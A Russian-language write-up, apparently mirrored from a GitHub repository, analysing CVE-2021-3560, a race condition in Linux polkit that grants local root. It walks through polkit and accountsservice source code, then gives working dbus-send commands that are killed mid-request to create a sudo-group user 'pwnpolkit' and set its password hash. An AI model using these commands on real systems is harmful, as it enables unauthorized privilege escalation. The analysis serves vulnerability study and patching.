## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHENAOTIAN-CVE-2021-3560
# CVE-2021-3560 PolKit: анализ локального повышения привилегий через гонку состояний
[toc]
## Обзор уязвимости
Идентификатор уязвимости: CVE-2021-3560
Оценка уязвимости:
Уязвимый продукт: linux PolKit (polkitd)
Затронутые версии: внедрена в исходном коде 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
* RHEL 8
* Fedora 21 и выше
* Debian testing (“bullseye”)
* Ubuntu 20.04
Условия эксплуатации: локальный доступ к linux; наличие dbus + polkitd
Результат эксплуатации: локальное повышение привилегий
Получение исходного кода:
* polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
* accountsservice: `apt source accountsservice`
* dbus: `apt source dbus`
## Настройка окружения
Стандартного образа ubuntu-20.04.2 достаточно для воспроизведения: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
## Принцип уязвимости
### Место возникновения уязвимости
Сначала посмотрим на проблемный код
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
В функции `polkit_system_bus_name_get_creds_sync` выполняется аутентификация некоторых запросов (конкретный логический сценарий будет подробно описан ниже). Сначала через шину `org.freedesktop.DBus` вызываются методы `GetConnectionUnixUser` и `GetConnectionUnixProcessID`; эти методы предоставляются шиной `org.freedesktop.DBus` и служат для получения PID и UID пользователя запрашивающего процесса, после чего данные передаются в callback-функцию `on_retrieved_unix_uid_pid` для обработки. Затем выполняется блокирующее ожидание завершения выполнения процесса на стороне шины.
В функции `on_retrieved_unix_uid_pid` видно, что в зависимости от результата выполнения на стороне шины устанавливается признак ошибки (error?), после чего устанавливается бит ошибки; при успешном выполнении возвращаются UID пользователя или PID процесса. Однако в функции `polkit_system_bus_name_get_creds_sync` после блокирующего ожидания результата от шины (условием завершения обработки является обработка и UID, и PID, либо возникновение ошибки). **То есть, с логической точки зрения, со стороны шины возможны три результата: получен UID пользователя 0 — привилегированный пользователь; получен UID пользователя, отличный от 0, — обычный пользователь; ошибка.** Но в дальнейшей обработке ошибка не обрабатывается: `out_uid`, возвращаемый на верхний уровень, напрямую устанавливается в `data.uid`, полученный от шины, а затем `ret` просто устанавливается в `TRUE`:
root@kitploit:~
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
**Однако был упущен случай, когда на стороне шины DBUS возникает ошибка выполнения: callback-функция устанавливает бит ошибки и возвращается, так и не обработав данные`data`, а `data` инициализируется нулём. В результате далее `out_uid` устанавливается в 0, то есть в привилегированного пользователя.**
Где же используется эта проблемная функция `polkit_system_bus_name_get_creds_sync`?
### Путь срабатывания
Процессом, в котором находится уязвимость, является polkitd:
> polkit — это набор инструментов прикладного уровня, который, определяя и проверяя правила прав доступа, обеспечивает взаимодействие между процессами с разными приоритетами: управление решениями централизовано в единой среде и определяет, имеет ли процесс с низким приоритетом право доступа к процессу с высоким приоритетом.
Проще говоря, это фоновый процесс root, который посредством межпроцессного взаимодействия выполняет проверку прав, когда другие процессы с низкими привилегиями обращаются к функциям, предоставляемым процессами с высокими привилегиями. Поскольку при подключении gdb этот процесс перезапускается, анализ можно проводить только на уровне исходного кода, чтобы найти путь срабатывания уязвимой функции:
В `polkitd` для разработки широко используется фреймворк межпроцессного взаимодействия `gio DBUS`; можно заранее ознакомиться с руководством, обратив внимание на некоторые ключевые функции.
Далее проанализируем путь срабатывания уязвимости в `polkitd`:
1. Сначала main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
root@kitploit:~
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //注册了一个总线名称
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //访问该总线时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
2. Сначала регистрируется шина `org.freedesktop.PolicyKit1`, затем есть три callback-функции; основное внимание стоит уделить `on_bus_acquired`, которая вызывается при обращении к шине.
3. В функции `on_bus_acquired` напрямую вызывается функция регистрации `polkit_backend_authority_register`
Иными словами, когда другие функции вызывают метод `CheckAuthorization` на шине `org.freedesktop.PolicyKit1.Authority`, при определённом сценарии (контроль над возвратом ошибки при получении UID запрашивающего процесса через DBUS) корректность аутентификации этого метода нарушается. Поскольку ответ уже можно увидеть напрямую, метод эксплуатации уязвимости — при использовании account-daemon
## Эксплуатация уязвимости
### Общий анализ
Сначала приведём схему автора эксплойта:

Поясним, что изображено на схеме:
* Процессы `polkitd`, `dbus-daemon` и `account-daemon` — все три являются фоновыми сервисными процессами, работающими с правами root.
* `dbus-daemon` — это «маршрутизатор» межпроцессного взаимодействия, то есть ядро упомянутого выше фреймворка GIO DBUS. По моему пониманию, разные процессы могут регистрировать здесь имена шин; процесс, желающий связаться с вами, обращается к имени шины, а также к интерфейсу и имени метода, чтобы вызвать функции в вашем процессе. Некоторые функции процесса `polkitd`, описанные выше, как раз регистрируют шину в dbus и ожидают вызова другими процессами.
* `account-daemon` аналогичен `polkitd`: он регистрирует в dbus шину `org.freedesktop.Accounts` и предоставляет ряд методов, связанных с учётными записями, например, используемые далее добавление пользователя, установка пароля и т.д. **Кроме того, перед такими операциями, как добавление пользователя, этот процесс выполняет аутентификацию пользователя, используя именно упомянутый выше уязвимый метод шины`CheckAuthorization`, предоставляемый процессом `polkitd`.**
*
Таким образом, общий поток событий при эксплуатации уязвимости выглядит так:
1. С помощью команды `dbus-send` процессу `account-daemon` отправляется сообщение с запросом на создание **пользователя-администратора (метод`CreateUser`, предоставляемый этим процессом, по умолчанию добавляет пользователя-администратора)**, однако с нашими правами выполнить эту операцию невозможно.
2. После отправки сообщения процессу `account-daemon` последний запрашивает у процесса `polkitd` проверку прав — разрешена ли данная операция добавления пользователя.
3. `polkitd` запрашивает у шины права пользователя и идентификатор процесса, инициировавшего запрос на создание пользователя.
* Нам нужно сделать следующее: убить запрашивающий процесс (то есть процесс `dbus-send`) в промежутке времени между отправкой сообщения, получением его процессом `account-daemon` и запросом `polkitd` прав запрашивающего процесса.
4. В этот момент шина обнаруживает, что процесс, запросивший добавление пользователя, исчез, и возвращает ошибку.
5. Как показано в анализе выше, **уязвимость заключается в том, что процесс`polkitd` при ошибке по умолчанию считает её успехом, а затем по умолчанию принимает uid пользователя за 0, то есть за привилегированного пользователя**. Это запускает уязвимость и разрешает данную операцию.
### Анализ поведения взаимодействия account-daemon
Поскольку `dbus-daemon` — это процесс-посредник, подробно анализировать его не будем, но здесь разберём процесс `account-daemon`, который является ключевым в ходе эксплуатации. Этот процесс также использует фреймворк `GIO DBUS`; кратко проанализируем некоторые важные моменты. Сначала посмотрим на
accountsservice-0.6.45\src\daemon.c : 90
root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
Здесь используются макросы `G_DEFINE_TYPE_WITH_COD`E и `G_IMPLEMENT_INTERFACE` для выполнения функции `daemon_accounts_accounts_iface_init`; смысл этих двух макросов, в общем, в том, что они найдут возможность выполнить функцию `daemon_accounts_accounts_iface_init`. В функции `daemon_accounts_accounts_iface_init` регистрируется метод `create_user`; посмотрим непосредственно на реализацию функции `daemon_create_user`:
accountsservice-0.6.45\src\daemon.c : 1099
root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
В `daemon_create_user` вызывается функция `daemon_local_check_auth` для проверки того, разрешены ли права запрашивающего пользователя; после успешного вызова будет вызвана callback-функция `daemon_create_user_authorized_cb`. Сначала рассмотрим функцию аутентификации `daemon_local_check_auth`:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
root@kitploit:~
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
Здесь для аутентификации вызывается функция `polkit_authority_check_authorization`, которая является библиотечной функцией, предоставляемой `libpolkit-gobject-1.so.0`; она напрямую вызывает метод `CheckAuthorization` на шине `org.freedesktop.PolicyKit1.Authority` в процессе `polkitd`, как было проанализировано выше. При успешной аутентификации вызывается callback-функция `daemon_create_user_authorized_cb`:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
Здесь уже всё очевидно: после успешного добавления пользователь напрямую добавляется в группу sudo, поэтому в конце эксплойта после добавления пользователя можно переключиться на root через `sudo su root`.
Далее рассмотрим демонстрацию ручной эксплуатации уязвимости.
### demo
От имени обычного пользователя напрямую отправляем процессу account-daemon запрос на создание пользователя с помощью команды dbus-send:
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
В операционных системах с графическим интерфейсом этот запрос вызовет появление окна ввода пароля:

В терминалах командной строки, например по ssh, запрос сразу завершится ошибкой:

Согласно описанной выше идее эксплуатации, сначала посмотрим на время выполнения этой команды:
root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Затем выбираем момент примерно на середине выполнения этой команды и убиваем её — с некоторой вероятностью уязвимость сработает и пользователь будет создан:
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
Повторное выполнение приводит к успеху:

Кроме того, пользователь находится в группе sudo:

Затем тем же способом добавляем ему пароль:
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 необходимо заменить в соответствии с UID только что созданного пользователя; пароль используется в виде хеш-значения. Затем переключаемся на пользователя.
### exp
Здесь эксплойт подробно не расписывается: по сути, нужно просто автоматизировать приведённые выше команды. C-эксплойт с github тоже работает нормально.
hakivvi/CVE-2021-3560
## Меры по смягчению последствий
Обновите до последней версии
## Ссылки
Раскрытие уязвимости (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502